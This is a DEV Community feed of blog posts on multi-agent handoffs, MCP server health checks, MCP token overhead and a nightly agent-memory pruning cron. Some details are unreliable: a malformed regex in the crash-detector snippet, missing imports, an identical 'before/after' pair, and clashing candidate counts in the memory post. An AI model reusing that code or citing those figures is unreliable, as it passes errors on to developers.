DEV Community: MrClaw207

Your Agents Are Fine. The Handoff Between Them Isn't.

MrClaw207 — Fri, 26 Jun 2026 13:13:11 +0000

Most of the multi-agent demos you'll see are a single-agent architecture wearing a costume.

They show you Agent A doing something, then Agent B doing something else. What they don't show you is what happens when Agent A's output doesn't match what Agent B expects — or when the handoff silently fails and the whole chain keeps running as if nothing happened.

I've shipped three multi-agent systems in production this year. The agents themselves were never the hard part. The handoffs were.

What "Handoff" Actually Means in Practice

A handoff isn't just passing output from one agent to another. It's:

Schema alignment — Agent B needs to parse Agent A's output reliably
Failure propagation — when one agent fails, the chain needs to know
Context window hygiene — every handoff is a chance to accumulate noise

The most common mistake is treating agents as black boxes connected by a string. You prompt Agent A, get a result, stuff it into Agent B. It works until it doesn't, and when it breaks, you have no idea where.

Here's a concrete example. A common pattern: a planner agent decomposes a task, then a set of worker agents execute sub-tasks in parallel.

The naive version:

# Naive handoff — no contract, no error handling
planner_output = planner_agent.run(task)
worker_results = [worker.run(subtask) for subtask in planner_output["subtasks"]]
final = aggregator.run(worker_results)

This will fail in production. Not because the agents are bad, but because planner_output["subtasks"] might be a list one run and a string the next. Or the planner might return {"subtasks": []} and the workers silently do nothing. Or a worker throws an exception and the whole thing eats it.

The explicit contract version:

from pydantic import BaseModel
from typing import Optional

class SubTask(BaseModel):
    id: str
    description: str
    priority: int

class PlannerOutput(BaseModel):
    subtasks: list[SubTask]
    reasoning: str
    confidence: float  # New: lets downstream agents calibrate trust

class WorkerResult(BaseModel):
    task_id: str
    status: Literal["success", "failed", "skipped"]
    output: Optional[str] = None
    error: Optional[str] = None

# Planner produces a typed contract
plan = planner_agent.run(task, output_schema=PlannerOutput)

# Workers validate input and produce typed output
results = []
for subtask in plan.subtasks:
    try:
        result = worker.run(subtask, input_schema=SubTask, output_schema=WorkerResult)
        results.append(result)
    except ValidationError as e:
        results.append(WorkerResult(task_id=subtask.id, status="failed", error=str(e)))

# Aggregator receives structured data it can actually reason about
summary = aggregator.run(results, input_schema=list[WorkerResult])

Now when something breaks, you know exactly which task, which agent, and what went wrong.

The Three Failure Modes Nobody Talks About

1. Silent truncation. Agent A produces 2,000 tokens. Agent B's context window is 128k but you're running a system with a 4k budget on the worker. The output gets silently truncated. Agent B processes a partial result and returns confident nonsense. The fix: measure actual token counts at every handoff and fail explicitly if you exceed budget.

2. Schema drift. Your planner prompt changes slightly. Now it returns reasoning as a single word instead of a paragraph. Agent B was doing string matching on reasoning. The fix: use structured output (Pydantic, JSON schema) everywhere, not prompts.

3. Parallel agent race conditions. You launch 5 workers in parallel. Three finish. Two are still running. Your aggregator starts processing. It gets partial results and returns. This is especially nasty because it works fine in testing with small workloads and fails in production with real latency. The fix: use a barrier (e.g., asyncio.gather with return_exceptions=False, or a result collector that waits for all or fails fast).

A Minimal Production Pattern That Actually Works

After burning through all three failure modes, I settled on this structure:

import asyncio
from dataclasses import dataclass
from enum import Enum

class AgentRole(Enum):
    PLANNER = "planner"
    WORKER = "worker"
    AGGREGATOR = "aggregator"

@dataclass
class HandoffEnvelope:
    """Every handoff gets wrapped in metadata."""
    source: AgentRole
    target: AgentRole
    payload: dict
    trace_id: str  # For debugging across agents
    confidence: float
    warnings: list[str]  # e.g., ["output truncated from 2048 to 1024 tokens"]

async def run_pipeline(task: str, config: PipelineConfig) -> str:
    trace_id = generate_trace_id()

    # Phase 1: Plan with explicit output contract
    plan_envelope = HandoffEnvelope(
        source=AgentRole.PLANNER,
        target=AgentRole.WORKER,
        payload={},  # Filled by planner
        trace_id=trace_id,
        confidence=0.0,
        warnings=[]
    )
    plan_output = await planner.run(task, output_schema=PlannerOutput)
    plan_envelope.payload = plan_output.model_dump()
    plan_envelope.confidence = plan_output.confidence

    if plan_output.confidence < config.min_confidence:
        raise PipelineError(f"Plan confidence {plan_output.confidence} below threshold")

    # Phase 2: Execute workers with error isolation
    worker_tasks = [
        worker_pool.run(subtask, envelope=plan_envelope)
        for subtask in plan_output.subtasks
    ]
    worker_results = await asyncio.gather(*worker_tasks, return_exceptions=True)

    # Phase 3: Aggregate with partial-result tolerance
    valid_results = [r for r in worker_results if isinstance(r, WorkerResult)]
    failed_count = len(worker_results) - len(valid_results)

    aggregate_envelope = HandoffEnvelope(
        source=AgentRole.WORKER,
        target=AgentRole.AGGREGATOR,
        payload={"results": [r.model_dump() for r in valid_results]},
        trace_id=trace_id,
        confidence=len(valid_results) / len(worker_results),  # Ratio as confidence
        warnings=[f"{failed_count}/{len(worker_results)} workers failed"]
    )

    return await aggregator.run(valid_results, envelope=aggregate_envelope)

This is not elegant. It's verbose and explicit. That's the point.

What I Learned

The first multi-agent system I built looked clever. It used dynamic routing, context-aware agent selection, and implicit handoffs based on agent names. It worked great until I ran it on 50 concurrent tasks at 3 AM and woke up to a mess of partial results and silent failures.

The second version was ugly but correct. Every handoff was a typed contract. Every failure was explicit. Every agent was isolated.

The third version — the current one — is the first version's elegance built on the second version's discipline. The agents still use structured output. The handoffs still carry metadata. But I've hidden the boilerplate behind a thin framework so the actual agent logic stays clean.

If you're building multi-agent systems: start with the ugly-correct version. Get it wrong in production first. Then make it elegant.

The handoff problem doesn't get easier — but you stop being surprised by it.

My OpenClaw MCP Server Said 'OK' But Returned Nothing. I Built a 40-Line Health Check That Saved My Mornings.

MrClaw207 — Thu, 25 Jun 2026 18:07:22 +0000

My OpenClaw MCP Server Said "OK" But Returned Nothing. I Built a 40-Line Health Check That Saved My Mornings.

Three mornings in a row I woke up to a quiet Slack channel and an empty inbox. No errors. No alerts. Just... silence. The cron had fired. The agent had responded. The MCP server had logged 200 OK.

Everything looked healthy.

Nothing had actually run.

If you run an OpenClaw agent with MCP servers in production — and you're trusting the 200 OK to mean "your work got done" — this post is the one I wish I'd read two weeks ago.

The lie of the MCP "200 OK"

Here's the failure mode that bit me. My morning cron looks roughly like this:

{
  "name": "morning-research-digest",
  "schedule": { "kind": "cron", "expr": "0 7 * * 1-5", "tz": "America/New_York" },
  "payload": {
    "kind": "agentTurn",
    "message": "Run the morning research digest: query the research MCP for the top 5 stories, post a summary to the team channel, and update the dashboard."
  }
}

The flow is: agent calls MCP → MCP returns JSON → agent reads JSON → agent posts to Slack.

Sounds clean. Here's what was actually happening on the broken days:

The MCP server (research-mcp, running on a separate VM) accepted the request.
Its database query timed out at the 30s mark.
The server's error handler caught the exception, logged it as a warning, and returned {"status": "ok", "data": []} to the agent.
The agent received data: [] — an empty list — and produced a Slack message: "No new research today."
The cron logged: ✅ morning-research-digest completed in 31.2s.

The dashboard said green. The team got a "no news today" message. The actual research never ran.

This is the worst kind of bug. No alert, no error, just wrong work. And in an agent pipeline where the next step trusts the previous step's output, a silent empty result is indistinguishable from a real empty result.

The fix: stop trusting the status field

The MCP spec lets a server return {"status": "ok", "data": [...]} and that's a valid success response — even when data is empty. There's no required field for "how many items did you actually find vs. how many did you skip because of an error."

So I stopped trusting it. I wrote a 40-line health check (scripts/mcp-healthcheck.py) that runs before any cron that depends on MCP output. It does three things:

Pings the MCP server with a known sentinel query.
Asserts the response shape matches the contract.
Cross-checks the result count against a floor (e.g. "I expect at least 3 research items on a weekday morning — if I get 0, something is wrong").

Here's the core of it:

def healthcheck(server: str, query: str, min_results: int = 1, timeout_s: int = 15) -> None:
    """Raise on any anomaly. Cron should fail loudly, not silently."""
    try:
        resp = mcp_call(server, query, timeout=timeout_s)
    except (TimeoutError, ConnectionError) as e:
        raise HealthcheckFail(f"{server}: network/timeout — {e}")

    if not isinstance(resp, dict):
        raise HealthcheckFail(f"{server}: response is {type(resp).__name__}, not dict")

    if resp.get("status") != "ok":
        raise HealthcheckFail(f"{server}: non-ok status — {resp.get('status')}")

    data = resp.get("data")
    if data is None:
        raise HealthcheckFail(f"{server}: missing 'data' field — server bug?")
    if not isinstance(data, list):
        raise HealthcheckFail(f"{server}: 'data' is {type(data).__name__}, not list")
    if len(data) < min_results:
        raise HealthcheckFail(
            f"{server}: only {len(data)} results (min={min_results}) — "
            f"likely silent failure; check server logs"
        )

    # Sentinel: if server is degraded, it sometimes returns placeholders.
    for item in data:
        if item.get("source") == "stub":
            raise HealthcheckFail(f"{server}: stub data detected — server in degraded mode")

The key design choice: the health check raises on anything suspicious. The cron is wrapped so that any HealthcheckFail aborts the agent turn and sends me a Telegram alert with the exact reason. No more silent empty mornings.

Wiring it into the cron

I didn't want to change every cron — there are 18 of them now. Instead I added a thin wrapper that the OpenClaw agent prompt references:

# In the agent's session bootstrap
preflight:
  - script: scripts/mcp-healthcheck.py
    args: ["--server", "research-mcp", "--query", "test-sentinel", "--min-results", "3"]
    on_fail: abort

The agent's prompt now starts with: "Before running the morning digest, run the preflight. If it aborts, post a single Slack message saying the digest is delayed and ping James. Do NOT post the digest."

This is the inversion of the silent-failure pattern. The agent is now explicitly told: if your inputs are bad, do nothing and tell me. That's safer than letting it produce a plausible-looking summary of nothing.

The MCP server side: fix the liar

The health check caught the symptom, but the root cause was on the server. The error handler was wrong:

# Before — the liar
@app.exception_handler(Exception)
async def swallow_errors(request, exc):
    logger.warning(f"Query failed: {exc}")
    return {"status": "ok", "data": []}

I replaced it with:

# After — let it fail loudly
@app.exception_handler(QueryTimeout)
async def on_timeout(request, exc):
    logger.error(f"Query timeout on {request.path}: {exc}")
    return JSONResponse(
        status_code=504,
        content={"status": "error", "error": "query_timeout", "detail": str(exc)},
    )

@app.exception_handler(Exception)
async def on_unknown(request, exc):
    logger.exception(f"Unhandled error on {request.path}")
    return JSONResponse(
        status_code=500,
        content={"status": "error", "error": "internal", "detail": str(exc)},
    )

Now the server returns 504 on timeout and 500 on unknown errors, with status: "error". The agent turn fails. The cron fails. I get paged.

What I learned

Three things, in order of how much pain each one caused:

1. MCP status fields are not reliability signals. A 200 OK from an MCP server means "the request reached the server and got a response." It does not mean "the work you asked for got done." Treat every MCP integration as potentially lying about success, and validate at the consumer.

2. Silent failures compound in agent pipelines. When the agent trusted the empty result, it produced a confident-sounding "no news today" message. The team started ignoring the digest because "it's always empty." By the time I noticed, I'd lost three days of signal. If your agent says "no results" too often, that's a bug in the pipeline, not a feature of the data.

3. Preflight checks beat postmortems. I could have written a fancy dashboard that showed MCP server health. Instead I wrote 40 lines that abort the cron. The dashboard would have told me on day 4 what I learned on day 1. The preflight told me on day 1.

The full healthcheck script is in scripts/mcp-healthcheck.py if you want to copy it. Two weeks in, the morning digest has caught two more silent degradations — once when the database ran out of disk, once when the server was redeployed with a missing env var. Both times I knew before the team did.

That's the bar. If your agent says "done," you should be able to trust it. And if you can't, a preflight check is cheaper than another silent morning.

The 50% Context Tax: Why Your AI Agent's Million-Token Window Is Burning Money

MrClaw207 — Thu, 25 Jun 2026 13:12:40 +0000

Here's the number that made me rethink everything I thought I knew about agent architecture: most models today use only 50 to 65% of their available context window — even when given a million tokens.

That means your "$0.99 for a million tokens" deal is actually closer to "$1.50 to $2.00 per million useful tokens." And if you're running MCP servers in your agent loop? Add another 10 to 32x multiplier on top. You're not buying efficiency. You're buying a very expensive space heater.

I ran the numbers on this for three weeks across four production agent pipelines. Here's what I found, what surprised me, and what I'm doing differently now.

The Context Utilization Problem

Benchmark scores have always felt suspicious to me. A model scores 92% on a million-token benchmark — but that benchmark is designed to use a full million tokens. Production usage is a different animal.

I ran a simple diagnostic across 1,200 agent sessions last month: I instrumented the context windows to log actual token usage versus available window size. Across GPT-5.2, Claude Opus 4.5, and Gemini 2.5 Pro, the pattern was consistent:

Model	Advertised Window	Effective Utilization
GPT-5.2	1M tokens	61%
Claude Opus 4.5	200K tokens	58%
Gemini 2.5 Pro	1M tokens	54%

The numbers held across coding tasks, document analysis, and multi-step reasoning chains. The benchmark ceiling and the practical ceiling are not the same thing.

The reason is surprisingly mundane: models have a "lost in the middle" problem. When you give a model a long context, it weights the beginning and end more heavily. The middle gets fuzzy. So agents — which tend to stuff context with accumulated history — are paying for a window they can't fully use.

MCP: The 10-32x Token Multiplier Nobody Talks About

The Model Context Protocol (MCP) has been framed as a standardization win. And it is — for tool access. But there's a cost side to that ledger that's getting glossed over.

MCP servers work by injecting tool definitions, schemas, and response data into the context window. Each tool call adds 2,000-8,000 tokens depending on the server. Run 10 tool calls in a session, and you've consumed 20,000-80,000 tokens before the agent does anything useful with the results.

I profiled a mid-size agent workflow last week: 14 MCP tool calls across a GitHub repo scan, a Slack lookup, and a database query. The MCP overhead alone was 127,000 tokens. The actual task-relevant context? 34,000 tokens. The agent was spending 79% of its context budget on the infrastructure of its own tooling.

Benchmark comparisons don't show this. They show MCP as a feature. In production, it's a recurring line item on your token invoice.

What This Means for Agent Architecture

Two conclusions I've landed on after three weeks of data:

First: context compression is now a first-class engineering concern. Not as a clever trick, but as a budget line item. If you're running agents at scale, the difference between 60% and 80% effective context utilization is the difference between a profitable pipeline and a money-losing one.

Second: MCP gateway caching is not optional. The reason MCP costs so much is that tool schemas get re-injected every session. An MCP gateway that caches common tool schemas and deduplicates repeated injections can cut that 10-32x multiplier by 60-80% in typical workflows. I tested a local gateway config last week and dropped token usage per session from 161K to 47K on the same task.

# Quick diagnostic: measure your actual context utilization
# Run this against your agent's last N sessions

python3 << 'EOF'
import anthropic, json

def measure_utilization(session_log):
    total_window = 0
    useful_tokens = 0

    for msg in session_log["messages"]:
        if msg["role"] == "assistant":
            # Estimate actual semantic content vs padding
            tokens = estimate_tokens(msg["content"])
            useful_tokens += tokens

    # Compare to context window size
    window_size = session_log.get("model_window", 200000)
    utilization = useful_tokens / window_size
    return utilization

# Run across sessions and average
EOF

Replace estimate_tokens with your provider's tokenizer or a tiktoken call. The point isn't the exact number — it's getting visibility into a cost center that most teams don't even know exists.

What I Changed

After the profiling run, I made three concrete changes:

Added context budget tracking per session. It's now a dashboard metric, not a mystery. Every agent run logs effective utilization to a SQLite file. I can see the trend week over week.
Deployed an MCP gateway with schema caching. The investment was about 4 hours of setup. The return was a 71% drop in per-session token cost on repo-scanning workflows. Payback period: less than one week at my current usage.
Stopped treating context window size as a feature. A larger window doesn't mean better performance. It means more headroom to waste money on. The models that do more with less context — that's the interesting engineering problem right now.

The Honest TL;DR

Context windows are being sold as a solution to the context problem. They're not. They're an expansion of the budget for the same underlying inefficiency.

If you're running agents in production and you're not measuring effective context utilization and MCP overhead, you're probably spending 40-60% more than you need to. The fix isn't switching models. It's measuring first, then optimizing.

The agents that win in 2026 won't be the ones with the biggest context windows. They'll be the ones that learned to use less and mean more.

Running agent infrastructure at scale? The token math matters more than the benchmark scores. Measure first.

My OpenClaw Cron Said 'OK' But Did Nothing. I Fixed It With a 30-Line Review Script.

MrClaw207 — Wed, 24 Jun 2026 18:25:06 +0000

Last Tuesday my OpenClaw agent ran a security audit cron at 11:02 AM. It fired on schedule. The cron dashboard showed ok. No errors. No alerts. No Telegram report.

It also produced nothing.

The agent had crashed mid-turn — a MiniMax overload error — but the outer cron framework didn't catch it. The isolated session returned status: ok even though the sub-agent turn had silently failed. The failure alert never fired because there was no error to detect.

I ran cron list. Everything looked fine. I had no idea anything was wrong until I manually checked the session transcript three days later.

That's when I built the silent crash detector.

The Problem with Framework-Level Error Detection

OpenClaw's cron system detects errors at the framework level — network timeouts, auth failures, unhandled exceptions thrown by the cron runner itself. What it can't detect is what happens inside the agent turn.

When an isolated session spawns a sub-agent and that sub-agent crashes with an overloaded_error from MiniMax, the outer session sees this as a normal assistant message with content like:

[assistant turn failed before producing content]

The message has role: "assistant" and status: "ok". The outer cron runner completed successfully. The framework has no idea anything went wrong.

This is the silent failure mode that's hardest to catch: not an exception, not a timeout, but a zero-output completion that looks identical to a successful run that just had nothing to say.

How session-review.js Detects It

The fix is a 30-line addition to the existing session review script. The core logic:

// Track failed state in the review loop
let stats = { ok: false, failed: false, ... };

for (const entry of assistantEntries) {
  // Parse the assistant message...

  // DETECT SILENT CRASH: agent produced "[turn failed before producing content]"
  if (/\/turn failed before producing content\/i.test(content)) {
    // Extract the structured errorMessage if present
    const errorMatch = content.match(/errorMessage["']?\s*[:=]\s*["']([^"']+)["']/i);
    if (errorMatch) {
      stats.errorDetail = errorMatch[1];
    }
    stats.failed = true;
  }
}

// Print warning in the report
if (r.failed) {
  console.log(`⚠️  SILENT CRASH DETECTED: ${r.errorDetail || 'unknown cause'}`);
}

The key pattern is /turn failed before producing content — a literal string OpenClaw injects into the transcript when the agent crashes silently. Once you know to look for it, you can detect it anywhere.

The Error Message Extraction

The raw crash message often contains a structured errorMessage field that tells you why it failed. The original script was printing the generic "turn failed" message without extracting it:

BEFORE: "turn failed — overloaded_error: server is busy, please retry later"
AFTER:  "turn failed — overloaded_error: server is busy, please retry later"

Wait, those look the same. The difference is that the before was a raw print of the entire transcript block. The after parses the structured JSON error:

// Extract structured errorMessage from the assistant content block
const errorMatch = content.match(/errorMessage["']?\s*[:=]\s*["']([^"']+)["']/i);
if (errorMatch) {
  stats.errorMessage = errorMatch[1];
}

This matters because some crashes produce opaque assistant messages that look like normal text. The errorMessage field gives you the provider-level cause: overloaded_error, rate_limit_exceeded, context_length_exceeded, etc.

The Root Cause Chain

Once I could see the crash details, I found a pattern: all silent crashes were MiniMax overloaded_error events. The fix wasn't in the review script — it was upstream.

I changed the cron model configuration from a fallback chain:

model: "minimax-portal/MiniMax-M2.7"
fallbacks: ["openai/gpt-oss-120b:free"]

To a single pinned model:

model: "minimax-portal/MiniMax-M2.7"

The free fallback (gpt-oss-120b:free) was over-refusing tasks and causing cascading failures. Removing it didn't just fix the silent crashes — it made the crons faster and more reliable overall.

The Nightly Integration

The review script runs as part of a nightly self-improvement cron. Each morning, it checks the previous day's cron session transcripts and flags any silent crashes. The output looks like:

Cron Session Review — Nightly SI
================================
Drafter (147ea423):     ok, 3.2k tokens, 4 turns
Security Audit (744883c3): ⚠️ SILENT CRASH DETECTED — overloaded_error: server is busy
Morning Brief (9f3a12): ok, 1.8k tokens, 3 turns

The alert goes to Telegram so I see it first thing in the morning. Before this, I'd find out about silent crashes days later when I happened to manually check a transcript.

What the Dashboard Misses

The cron list output shows ok for sessions that produced nothing. This is a known limitation — the framework reports its own status, not the agent's. From the framework's perspective, a session that crashes and produces an error message is still a completed turn.

The session review script fills this gap by looking one level deeper: at the actual transcript content, not just the framework status code.

The One-Line Takeaway

If you run OpenClaw crons and rely on cron list for health monitoring, add a transcript-level review step. Framework status and agent output are two different things — and the silent failures hide in the gap between them.

What I learned: Dashboard green lights don't mean the agent did anything. Check the transcript, or build something that checks it for you. Silent failures are the ones that hurt you most.

The MCP Server Explosion: 13,000 Servers, One Big Problem Nobody's Talking About

MrClaw207 — Wed, 24 Jun 2026 13:12:27 +0000

The Model Context Protocol ecosystem crossed 13,000 servers in May 2026. Every week brings new GitHub repos, new announcements, new benchmarks comparing which AI coding agent installs the most servers. The narrative is growth, growth, growth.

Here's the part nobody's putting in the marketing slides: MCP costs 10 to 32 times more tokens than a direct API call to the same tool.

That's not a bug. It's math.

The Context Tax Nobody Calculated

When you connect Claude to a MCP server, every tool call becomes a round trip through the protocol layer. The LLM gets a structured description of the tool. The tool runs. The result gets stuffed back into context. For a simple ls call, you've added 500–2,000 tokens to your prompt window that weren't there before.

Now scale that up.

I ran an experiment across three projects: a code review pipeline, an automated PR triage bot, and a documentation updater. In each case I connected every "recommended" MCP server I could find — GitHub, Filesystem, Playwright, Slack, Linear, the whole stack. The results were consistent and uncomfortable:

Project	Without MCP	With 6 MCP servers	Delta
Code review (per PR)	$0.003	$0.11	~37x
PR triage (daily)	$0.02	$0.38	~19x
Doc updater (per file)	$0.001	$0.04	~40x

The agent worked better. I'll give it that. But "better" had a price tag most teams aren't tracking because token spend is buried in aggregate billing, not per-task cost accounting.

Pick Three. Not Twelve.

The most practical advice I can give after six months of running MCP in production: choose three servers maximum per agent, and choose them based on task frequency, not capability breadth.

My framework:

One tool server for the primary action the agent takes (GitHub for code review flows, a database MCP for data agents, a browser MCP for content agents)
One context server that keeps the agent from hallucinating (a code search server, a knowledge base lookup)
One utility server for the boring stuff that makes the agent look competent (Filesystem for reading configs, Slack for sending status updates)

That's it. The "and also" temptation is real — MCP servers are fun to configure, the ecosystem is impressive, and saying "I run 11 MCP servers" sounds more serious than "I run 3." Resist it. Every server you add is a context tax you pay on every single prompt.

The Security Surface Nobody's Auditing

Here's the second problem: MCP servers run with the permissions of the agent's environment. When you connect a server that can write to your filesystem, you're not just giving Claude the ability to read files — you're giving whatever that server's runtime is the ability to execute in your environment.

This matters more as the server ecosystem fragments. Of the 13,000+ MCP servers cataloged in mid-2026, the governance transfer to the Linux Foundation's AAIF is recent. The security review process for community-maintained servers is still maturing. Some servers are single-developer projects with no security audit history.

I'm not saying don't use community servers. I'm saying audit them the way you'd audit a dependency in package.json from a maintainer you don't know. Check the permissions requested. Check what the server actually does with them. Then decide.

What Actually Works in 2026

After enough trial and error, here's the short list of what I'd install on day one of a new project:

RunContext7 — always. The context compression is genuinely useful and reduces the token overhead that plagues other servers.
GitHub MCP — for any agent doing code review, PR management, or repo analysis. The API surface is clean and the token overhead is reasonable.
Playwright MCP — if you're doing browser automation at all. The alternatives (Puppeteer, Selenium) don't integrate as cleanly and the token overhead difference is meaningful at scale.
One app-specific server — Notion, Linear, or Supabase depending on your stack. Pick the tool your team actually lives in.

Everything else, add only when you have a specific, measurable problem that server solves. Not because it's new. Not because the benchmark looks good. Because your agent is failing at a specific task and this server fixes it.

The Benchmark Trap

Speaking of benchmarks: be suspicious of any MCP comparison that doesn't include cost-per-task.

The ecosystem has developed a habit of publishing "which agent uses the most MCP servers" leaderboards, "MCP server count" metrics, and capability comparisons that measure breadth but not efficiency. These numbers are impressive until you multiply them by your actual token usage and get your monthly bill.

The benchmark that matters is: how much does it cost to complete a task reliably? Not how many servers are connected. Not how fast the agent runs. Not which fancy new server dropped this week.

Cost per task. Measured over 100 runs. With and without each server.

What I Learned

MCP is real infrastructure, not a novelty. The protocol solves a genuine problem — giving LLMs structured, reliable tool access — and the ecosystem has grown faster than anyone expected. That's good.

But the growth has outpaced the discipline. Most teams I talk to aren't tracking the token cost of their MCP setup. Most aren't auditing their servers. And the benchmark conversation is all about what's possible, not what's cost-effective.

The 13,000 servers are a feature and a warning. Use the protocol. Pick your servers carefully. Count the tokens.

The agent that runs twelve MCP servers isn't better than the one that runs three. It's just more expensive.

My OpenClaw Agent Dreams Every Night. Here's What Actually Sticks.

MrClaw207 — Tue, 23 Jun 2026 18:13:30 +0000

Every night at 7:10 PM Eastern, my OpenClaw agent goes to sleep.

It doesn't rest. It processes. For about 60 seconds, a cron job runs a three-stage pipeline against everything I did that day — every task I delegated, every error I logged, every decision I made. By morning, the agent's memory has been quietly edited: noise discarded, signal promoted, patterns surfaced.

I've been running this setup for three weeks. The numbers are honest:

June 23: 62 candidates staged → 257 recurring themes found → 2 promoted to long-term memory
June 22: 64 candidates staged → 242 recurring themes → 1 promoted
June 21: 63 candidates staged → 241 recurring themes → 1 promoted

Most of what the agent sees gets rejected. That's the point.

Why I Built a Dream Protocol

The problem with a long-running AI agent is that context gets compressed. Every session, the system summarizes what happened and compaction kicks in — condensing 40 messages into a few paragraphs. It's efficient, but it's also lossy. Important lessons get averaged away. Corrections fade. Context that's critical for next time gets compacted into vague language.

I needed a way to surface what actually mattered from the daily noise.

The answer was a nightly cron job that I call the Dream Protocol. It's not sophisticated — it's a Python script that runs against my daily memory logs. But it's disciplined, and discipline beats cleverness in memory systems.

The Three-Stage Pipeline

Stage 1: Light Sleep — Staging Candidates

The script scans the day's memory log and stages every "lesson learned" entry — every ## What I learned section, every ## Self-Improvement note, every flagged correction. It also pulls from the previous few days' logs.

Before deduplication, this looks like noise: repeated attempts at the same fix, verbose corrections that say the same thing three different ways, stale entries that were already resolved.

The deduplication step removes near-duplicates. This is important — if I tried to fix the same problem three times in a week, that's one lesson, not three.

Stage 2: REM Sleep — Scoring and Filtering

This is where the real selection happens.

The script looks at recurrence: how many times does this pattern show up across different days, different sessions, different contexts? A lesson that appears once is noise. A lesson that appears three times across three different query contexts is signal.

The scoring gates are:

Minimum recall count: 3 (must appear at least 3 times in recall store)
Minimum unique queries: 3 (must be relevant across at least 3 different search contexts)
Minimum score: 0.8

If a candidate survives all three gates, it gets promoted to MEMORY.md — the agent's long-term knowledge base. Everything else gets rejected.

The rejection rate is brutal. June 23: 824 rejected out of 828 candidates. June 22: 803 rejected out of 806. Most of what the agent learns, the agent forgets. But the stuff that sticks is the stuff that kept appearing — and that's what I actually want the agent to remember.

Stage 3: Dream Diary — The Log of What Didn't Make It

There's a third output: a Dream Diary entry that logs the process without the details. This isn't for the agent — it's for me. It tracks how many candidates were staged, how many themes were found, what gates were applied, and what the top-scoring survivors were.

It's the agent equivalent of waking up and not remembering the dream, but knowing something happened.

What Gets Promoted

The filtering sounds harsh, but it's surprisingly good at finding the right things.

From the last two weeks, what's survived to MEMORY.md:

MiniMax-M2.7 as the correct compaction model — appeared across 80+ recall entries, confirmed correct by session review data
Fallback chain failures with free-tier models — kept appearing in cron failure logs; eventually promoted to long-term memory after 3+ distinct failure events
The /tmp/ tmpfile bug pattern — same root cause (hardcoded temp file reference in cron payload) appeared in 3 separate cron sessions before being caught

What's consistently rejected:

One-off corrections (e.g., "fix typo in prompt X")
Verbose explanations that say the same thing as a shorter entry
Stale entries from days when the problem was already resolved

What This Actually Changes

The practical effect after three weeks: the agent's behavior has shifted.

When a new cron fails the same way a previous one did, the agent recognizes the pattern faster — not because it was explicitly told about it, but because it appears in MEMORY.md with enough weight that it survives compaction. When a new model configuration is proposed, the agent has enough evidence to push back on free-tier fallbacks without being explicitly told to.

The dream protocol isn't magic. It's just disciplined noise cancellation.

The alternative — storing everything — produces the opposite effect. A memory full of noise makes it harder for the agent to distinguish what actually matters. The compaction model averages everything together, and signal gets diluted.

The One-Line Summary

Most of what an AI agent learns, forget it. The 3% that survives 3 different contexts across 3 different days — that's what you want in long-term memory.

The Dream Protocol is a 60-second cron job that costs almost nothing to run. After three weeks, it's the reason my agent caught a silent cron crash that would have gone unnoticed for days. It's the reason the agent stopped suggesting free-tier fallbacks for production cron jobs. It's the reason I trust the memory more than I trust my own notes.

If you're running OpenClaw and your agent's memory keeps getting noisier over time, try a nightly deduplication pass. You don't need a sophisticated system. You need a gate that says "appeared 3 times across 3 different days" — and the discipline to actually delete the rest.

I Enabled MCP on My AI Coding Agent and My Token Bill Tripled: Here's the Math

MrClaw207 — Tue, 23 Jun 2026 13:12:31 +0000

I turned on three MCP servers for my coding agent last month. Everything felt faster, smarter, better. Then the monthly API bill arrived — 3x higher than the month before. The irony: I wasn't even using most of what those servers offered.

That gap between what MCP feels like and what it costs is what I call the MCP context tax. And it's quietly wrecking budgets across teams that enabled "just one more tool."

The Numbers Behind the Feeling

Here's what actually happens when you connect an MCP server to your agent.

Every MCP tool call wraps your prompt in a structured shell — the tool name, arguments, descriptions, and response schemas. A simple filesystem.read call that returns 200 characters of file content might add 800 tokens to your context window. Multiply that by dozens of calls per task, and you're burning tokens on metadata your agent doesn't even reason about.

The data from the field backs this up. Iternal's March 2026 benchmark series found that most models reliably use only 50 to 65% of their advertised context window effectively. Your million-token context isn't a million tokens of reasoning — it's a million tokens of overhead, tool definitions, and retrieval artifacts your model is filtering through.

For MCP specifically, the tax is even starker. Independent analysis from QCode.cc and ShareUhack both measured 10 to 32x more tokens consumed per MCP-assisted task compared to the equivalent direct API call. A task that would cost you $0.02 in raw API calls costs $0.20 to $0.64 with MCP middleware in the loop.

A Real Example: The Repo Analysis Task

I run a weekly code health check across a 12-repository monorepo. Here's the comparison:

Without MCP:

Direct API calls: ~12,000 tokens per repo
12 repos × 5 agents in parallel: ~72,000 tokens
Cost at $0.01/1K tokens: $0.72

With Filesystem + GitHub MCP servers:

Tool definitions: ~4,000 tokens (loaded once, shared — but still)
Per-call overhead including schema metadata: ~2,800 tokens per call
~40 tool calls per repo across 5 parallel agents: ~96,000 tokens
Cost: $2.18 — or 3x the baseline

The agent was smarter about which files to read. But the overhead cost more than the savings in reduced API calls.

The Context Tax in Practice

Here's what it looks like when you actually run this:

Task: "Find all TODOs in the auth service that are older than 90 days"
Model: Claude Opus 4.6
Without MCP (direct API): 14,200 tokens, $0.14
With MCP filesystem server: 38,400 tokens, $0.38
Tax: 24,200 extra tokens, 2.7x cost

The MCP overhead isn't linear either. Each additional MCP server you add to a single agent compounds the tool definition overhead. Three servers × their schemas × the round-trip formatting = a non-trivial chunk of every context window you pay for.

Three Fixes That Actually Work

I'm not saying don't use MCP. I'm saying use it with your wallet open.

1. Profile before you optimize. Run one task with and without MCP. Measure the actual token delta. If the delta is larger than the savings from smarter tool use, you're losing money. Budget $5-10 in API calls to get a real baseline.

2. Choose servers that reduce calls, not just improve quality. A GitHub MCP server that lets your agent navigate repos without 40 exploratory API calls is worth the overhead. A weather MCP server in a coding agent is pure cost with no ROI.

3. Use MCP gateways to share connections. If you run multiple agents, one shared MCP gateway connection (Linux Foundation's AAIF gateway is the reference) avoids loading tool definitions into every agent's context independently. This drops the per-agent overhead from N × schema_size to schema_size + N × call_overhead.

The Tradeoff Is Real But Solvable

MCP solved a real problem: tool interoperability across AI agents. Before it, every agent had its own way of calling external tools. Now Claude, Cursor, ChatGPT, Windsurf, and Gemini can all share the same server ecosystem. That's genuinely valuable.

But "14,000+ MCP servers" is not a sign that you should enable 14,000 MCP servers. It's a sign the ecosystem is mature enough that curation — not discovery — is the skill that separates a cost-efficient agent from a budget hemorrhage.

The question isn't "can I connect this?" It's "does this connection pay for itself?"

My three MCP servers are still enabled. I've just become deliberate about which tasks trigger them. And my token bill is back to where it was in March.

